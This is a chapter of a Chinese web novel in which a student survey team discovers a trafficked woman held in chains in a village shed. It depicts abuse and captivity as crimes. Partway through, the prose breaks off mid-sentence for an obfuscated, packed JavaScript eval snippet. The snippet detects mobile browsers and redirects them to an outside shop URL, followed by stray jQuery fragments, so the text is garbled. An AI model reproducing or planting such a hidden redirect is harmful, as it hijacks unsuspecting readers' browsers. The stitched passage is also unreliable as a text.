25. 失落城(三)
作品:《少女心的骑士病箴言》 目送着小花的背影,姜岁安与方知言相视一蹙眉。
方知言说:“疑点很多,需要解决的事情也很多,我们不能贸然行动。”
姜岁安显然没听他说话,自顾自说:“我们应该找到她。”
方知言弹了她一脑蹦,声音难得染上一丝恼火:“你听见我刚才说什么了吗?”
姜岁安眨了眨眼。
于是方知言又重复了一遍自己方才已经说了的话。
她问:“不贸然需要多久?”
“这还需要先计划。”
“计划需要多久。”
方知言凝视着姜岁安的脸——她明明一脸单纯良善,脸上没有一丝因为生气而产生的褶皱,可是说的话却饶有强迫的嫌疑。
方知言并不说话,依旧平静地望着她。
姜岁安同样觉得他的磁场冷冽,也知道自己要是闯了祸,替她擦屁股的人大概率是方知言,所以这一次,她就算很想与他争辩一二,也还是听了话。
手臂和小腿上的泥巴已经干了,黏在皮肤上,好不痛快。
姜岁安突然让方知言把自己包里的相机取出来,他问:“为什么?”
“这么漂亮的荷塘,你不得给我拍两张。”
方知言的拍照技术实在不敢恭维,在他的镜头里,姜岁安像一只小泥猴,嬉皮笑脸、撒泼打滚。
在姜岁安略显嫌弃的表情中,他发誓自己这一次绝对好好拍。
照片里,少女的发丝闪着光,喜悦的表情里有一丝沉重的忧伤。
“还满意吗?”
“孺子可教。”
“你怎么偷拍我这么多照片?”
“你这人怎么偷翻别人相机啊?”姜岁安伸手就要来抢,方知言轻轻侧身,躲过了她的攻击。
姜岁安从手上抠下一块泥巴,朝他扔过去,方知言又轻巧地躲开了,顺带按下了快门,把姜岁安呲牙咧嘴的模样定格在画面里。
她气得牙痒痒。
……
沿途,姜岁安并没有忘记任务,指挥着方知言用相机记录着村里的风土细节,徒步走到难得的水泥乡道上,被热心的村民载到了村口。她照常在这里的小卖部买了点糖果,又买了包卫生巾,找老板娘借了点水把身上的泥巴冲走,提着鞋拦了一辆“麻木”,回到镇上的小旅馆。
麻木,顾名思义,颠得人头皮发麻、屁股疼痛。
一路上,姜岁安与方知言也不说话,倒不是相见眼红,而是头晕眼花,难与对方多说一个字。
陈雪离开了之后,整个队伍里就剩下姜岁安一个女生,于是有些事情她只能自己扛着,连发泄都找不到对象。
晚上,她在房间里整理稿件,忽然,房门被人敲响。
她谨慎地将耳朵贴在门上,方知言的声音传来:“是我,方知言。”
“吱呀——”
门开了。
方知言的锁骨上泛了一两颗红疹子,像是朱砂点在皮肤上,一问才知道是过敏。
他手里拿着一个保温杯,保温杯里装着什么,不得而知,直到他开口:“中医强调养气,阴阳有分,看你总是喝冰的,今天还下了水,想着——”
“方知言,你真是个好人。”
“除了这个,就没有别的想对我说的了吗?”他红着脸问。
“帮我把这个拿出去扔了呗,”姜岁安拿了一袋装着很多快餐食品包装盒的垃圾,递给他,突然朝她甜甜一笑,“那么——晚安。”
姜岁安收下方知言送来的保温杯,心里暖暖的。
可那仅仅只是一杯热水,换个杯子装,也还是热水。
小花将一壶热水放在许三面前,又从厨房端来一盘腊香肠和汤白菜。
小花今天累坏了,将小脸埋在碗里,大口大口地扒饭。
“咚咚咚。”
桌子闷响三声。
小花抬眼就看到了许三的筷子竖在桌上,随后听到了他的警告:“别跟那些人走得太近,听到没有。”
小花点点头。
“哑巴啊,说话。”
“晓得了。”
“那……鞋子要还给他们吗?”
“啥子鞋哦。”许三正哄着摇篮里哭着的婴儿,有些不耐烦地粗暴摇着那小小的木床,瞪了一眼小花。
小花回答:“里面有个人给我的,说是方便干活我就拿回来了。”
“收就收了吧,他们就给你这个,没说什么?”
小花的心始终吊着一口气,说:“他们给我讲了一些故事,不过我听不懂,问……就问村里一般养什么、种什么……”
“一群闲人,”许三起身,在灶台上的铁锅里把剩下一点饭装到自己碗里,又把剩饭剩菜盖在上面,分了一半给狗,又将另一半摆到小花面前,呵斥她:“端过去。”
小花左手端着这碗饭来到柴房,右手拿着手电筒,口袋里揣着柴房的插销,站在柴房门前驻足了好久。
夏日的夜晚,月光竟然是冷的,透过树影,不均匀地撒在柴房顶的茅草上。那些草早就枯了,一根根硬撅撅地支棱着,把月光划出许多细碎的、毛糙的痕。
远处,山是浓墨泼出来的,一重又一重,叠得密密实实,沉甸甸地压在夜的脊背上。
她的脚步踩进去,几乎没有声音。
柴房里有几捆柴、几摞稻草、一张破旧的棉絮毯子、一条蜿蜒的镣铐……一个蜷缩在角落的女人。
小花小心翼翼地走过去,蹲下,唤她吃饭。
似乎是早有戒备,小花将饭递过去的时候又突然收手,果不其然,那个她叫做“姐姐”的女子下意识地用手在空气里一划,差点掀翻饭碗。
小花从口袋里掏出那块巧克力,递给了她。
“姐姐”借着月光和手电的光,看清楚了自己手里的东西是什么,突然像抓住救命稻草一样,不停追问小花这是从哪里弄来的。她的声音沙哑,小声嘶吼:“你告诉姐姐,是不是别人来过了,你告诉姐姐,好不好……你说啊,说啊!”
她神情狰狞,把小花吓了一跳。
“姐姐求求你,你只要告诉姐姐‘是’或者‘不是’就可以了,好吗?”
小花把最近这一个多星期的事情都告诉了她。
“姐姐”说不出话,默默流着泪,希望又绝望,她悄悄在小花耳边问:“孩子,其实你什么都知道的对吗?我求求你,帮帮我,好吗……我已经给你生了一个弟弟了,为什么不能放我走……为什么……”
知了在窗外叫。
夏天那么热,两人的身体那么冷。
小花点了点头。
那天晚上,小花做了一个很漫长的梦。
梦的内容并不复杂,简单来说,就是在走迷宫。
每当她觉得自己应该马上就能找到出口的时候,新的路障就凭空出现,告诉她此路不通。
正当她想要放弃的时候,突然有一双手出现在了自己的面前,这只手沾满了泥巴,但是胳膊很白,像一条瘦瘦的藕一样。
她想:这样瘦的藕是卖不出好价钱的。
然后这只手不由分说地拽着自己,跑向太阳升起时的天明那去。
她一直在提醒这只手的主人:“那儿是墙!别过去!”
可这只手的主人像是聋子一样,一直往那儿跑——这人应该也是一个瞎子。
可是,那堵墙并没有她想象得那么坚不可摧,身子一压,就像稻草一样凹陷了下去。
原来,离开迷宫并不需要找到出口。
外面的世界,好像也不过如此,太阳是一样的、蓝天是一样的、土地也是一样的……
姜岁安问过一开始暂居的屋子的爷爷奶奶,关于许三的事,知道他每周五下午会去镇上打牌,顺便打一斤酒回家。
爷爷说:“你们莫去惹他,他屋里除了那个女娃娃乖些,其他人都好无赖,尤其你还是女娃娃,晓得噻。”
姜岁安点头,自然地挽起方知言的胳膊:“爷爷奶奶,别担心,我们两个会寸步不离地守卫对方的。”
奶奶上下打量着方知言,啧啧赞叹:“好俊哦,和你这个美妹儿好配哦。”
爷爷奶奶还想留两人在这里吃午饭,但是姜岁安和方知言想到今日是周五,便拒绝了。
她突然想到了什么,到门外把在镇上买的米和油提了进来,说:“爷爷奶奶,给你们的。”
“招待不周,还让你那个朋友碰到个老色鬼,莫恨我们就行。”两个老人有些手足无措,把姜岁安的手往回走推,最后还是败倒在她的甜言蜜语里。
于是就在这个下乡第三周的周五,她和方知言以采风的名义又来到了这个山头,徘徊在附近。
他们躲在高地,见许三开着一辆摩托,追风一般扬长而去。
姜岁安和方知言摸着一寸一土的黄色土墙,鬼使神差般来到了那个柴房前。
柴房上了锁,她趴在木门上听,里头有细弱的哭声。
姜岁安不安地在周围
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332120|198269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转,方知言从后边出来,吓了她一跳。
他说:“后边顶上有扇……窗。”
得亏许三家的柴房偷工减料,屋子不算高,她踩在方知言的肩上,差一点点能够到窗的边沿。
土屋靠石头和砖头砌成,黄泥没有填满的地方仍有孔洞,于是姜岁安脱了那双圆头的鞋,赤着脚踩在那块小小的空地上,终于爬到了上面。
她的手上全是泥巴,脚底踩在了死了的鸟身上,脖子上挂着相机,强忍着生理不适和悬空的恐惧,将视线往里探。
四面墙只有这一面有通风的口,姜岁安像一只猫一样匍匐蜷缩在不过一掌宽的黄土窗台上,轻声叫着里面的人。
女孩听见有人说话,错愕地抬头。
姜岁安把唯一能有光透进来的地方遮挡得差不多了,可她却能清晰地看见这个天降之物眸中的闪烁。
她才明白,这是一个人,而不是一只巨大的野猫或是其他。
她想要喊,可是不敢喊,也喊不出来,呼救声顶住喉咙。
姜岁安安慰她:“别害怕,我是好人……你能把现在的情况跟我说说吗?”
女孩动了动脚,那副铁铐在地上拖拽的声音沉重。
姜岁安说:“你再忍一忍,不要走漏风声,我们想办法,救你出去。可以拍张照留作证据吗?”
稻草堆里的人点头。
不知为何,女孩得到了一阵前所未有的心安——姜岁安说的是“我们”。
这一阵心安很快随着窗沿上姜岁安“轰”地一声掉下去而坠入冰窟。
她告诫自己:不能叫、不能叫、不能叫……
她背脊高高耸起,胸骨因为内心尖叫而阵痛,直到缺氧感扑面而来。
即使有方知言接着自己,姜岁安仍旧摔得不轻,半边身体几乎麻木。
“没事吧。”方知言直起腰,着急扶她起来。
姜岁安吃疼闭眼再睁眼,见到方知言的第一句话不是喊疼,而是说:“方知言,加油。”
要弄到打开铁链的钥匙是现在的第一要务。
姜岁安没有办法,只好找到小花,可她在见到她那张满脸晒斑和疲惫的脸时,却无法开口。
小花抢了本应该由她或他的开头:“黄蓉姐姐,我知道你们来是为了姐姐……但是我没办法帮你们……”
姜岁安说:“小花,那个姐姐有告诉过你,她叫什么名字吗?”
“李……李丽珍。”小花说。
姜岁安说:“谢谢你,小花。”
方知言在一旁静静地坐着,不干扰她们两个任何一个。
她想:姜岁安很会转移话题,在任何情况下都是。
姜岁安一直试着从小花的嘴里问出些什么,可这孩子像是突然开了窍,怎么也不松嘴。
方知言递给姜岁安一句耳语:“许三很可能已经知道我们对他起了疑心,又跟她说了些什么,所以小花才不开口。我们今天就到这里,先回镇上报警,不要在这里报警。”
他知道姜岁安在担心什么——调研队明天就要动身回北城了。
姜岁安这次,用干净的手摸了摸小花的头,又说了一遍:“谢谢你,小花。”
许三这天手气很不好,没打几轮就输了几大百块,相当于小花一个星期挖的藕卖出去的钱。
他最后不舍地在牌局前逗留了一会儿,直到两支劣质烟被很快吸完,然后骑着摩托一路向山上跑。心中有气无处发泄,越开越快,比平时活生生早了两个小时回到家。
他怒气冲冲推开门的时候,冷清的桌上什么也没有,风扇也没在转,摇床里的孩子睡得香甜。
小花在厨房里做饭,柴火的烟味瞬间熏到了外边。
“你他妈要放火啊烧个饭!”
面对这样的咒骂,小花已经习惯了。许三只要一输钱就会拿自己和李丽珍当出气筒,但只要她们不反抗,任他打任他骂,他的气很快就能消。
这个晚上,许三到柴房要把李丽珍放出来给孩子喂奶,一般这种时候是李丽珍反抗最剧烈的时候,但这次她罕见地没有哭,也没有叫。
许三很是满意,从屋里拿了好酒来喝,一边喝,一遍嘲笑李丽珍:“还不是得跟了老子,早点这样不就不用受这么多罪了吗?”
李丽珍紧紧攒着拳头,不说话。
那天晚上,李丽珍没有再被关到柴房去,而是睡在了床上。
她只希望一切能快一点,再快一点,最好黑夜马上轮换为白天。

